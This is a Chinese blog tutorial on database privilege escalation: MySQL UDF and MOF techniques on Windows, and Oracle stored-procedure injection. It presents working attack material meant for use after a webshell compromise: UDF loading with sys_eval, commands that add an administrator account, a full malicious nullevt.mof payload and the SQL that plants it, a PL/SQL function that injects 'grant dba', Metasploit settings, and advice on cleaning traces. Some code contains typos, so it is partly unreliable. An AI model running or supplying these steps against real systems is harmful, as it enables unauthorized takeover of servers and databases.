浅析提权(二)


如果我们不能直接在操作系统中提权的话,可以利用数据库提权。

mysql提权

这里的mysql提权是对于windows而言的。

UDF提权

基础概念:

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用。

漏洞概述:

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的udf.dll(动态链接库)。当我们把udf.dll导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

udf使用:

在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。

样例:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。至此我们已经引入了sys_eval函数,下面就是使用了。这个函数用于执行系统命令,用法如下:

select sys_eval('cmd command');

漏洞利用

利用udf提权有一些利用的先决条件:

  • MySQL 数据库没有开启安全模式。

  • 已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。

  • shell 有写入到数据库安装目录的权限。

手法:

  • 上传大马webshell,利用大马中的UDF提权功能完成提权。

  • 反弹shell,进而获取交互式tty shell,在shell中连接本地数据库,从而完成UDF提权。

  • 使用Navicat等数据库管理工具连接远程数据库,从而完成UDF提权。

https://github.com/tennc/webshell这个仓库里很多webshell的木马,有数据库的提权马。

对于windows而言:

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  • 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用步骤

  1. 拿到一个网站的webshell之后,在指定位置创建udf文件。但要先获取UDF的源文件。

UDF源文件位置

sqlmap中:sqlmap\data\udf\mysql

metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql

  1. 将获得的udf.dll文件转换成16进制,可以使用本地的mysql函数

    SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\1.txt';
    --load_file中的十六进制是lib_mysqludf_sys.dll所在绝对路径--

    此时1.txt文件的内容就是udf文件的16进制形式。

  2. 接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上并新建一个表,用于存放本地传来的udf文件

  3. 使用ntfs数据流创建

  4. 导入udf文件

  5. 删除创建的表,清理痕迹。

  6. 我们再用sys_eval命令就可以了。

    SELECT sys_eval('ipconfig')
  7. 添加一个管理员用户:

    Copynet user user1 123456 /add
    net localgroup administrators user1 /add  

mof提权

利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

MOF提权的条件要求十分严苛:

1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null。

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

nullevt.mof导入到一下可写目录,一般为tmp目录下。

使用sql语句将文件导入到c:/windows/system32/wbem/mof/

select load_file("C:/phpStudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

Oracle提权

注入存储过程提权

SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

利用条件

  • SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)
  • 用户拥有create procedure权限(用来创建函数)

手工注入

给user提权到dba权限。

  • 用户登陆后执行select * from session_privs查看权限
  • 创建函数,命令为grant dba to quan

grant execute on pwn to public;//赋予所有用户此函数的执行权限。

SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to user';
return '';
end;
/
SQL>grant execute on pwn to public;
/

注入sys.dbms_cdc_subscribe.activate_subscription。

SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||user.pwn()||''');
end;
/

SQL>set role dba;

利用MSF注入

加载攻击模块

use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription

2.配置参数

set dbuser quan
set dbpass quan123
set sid orcl
set rhost xxxxx
set sql grant dba to quan

3.run

通过utl_http.request存储过程提权

Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限

利用条件

1、UTL_HTTP存储过程可用

2、Oracle9i~11gR2

提权步骤

(1)创建Java包

(2)创建存储过程MYJAVACMD

(3)执行存储过程,成功添加用户


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录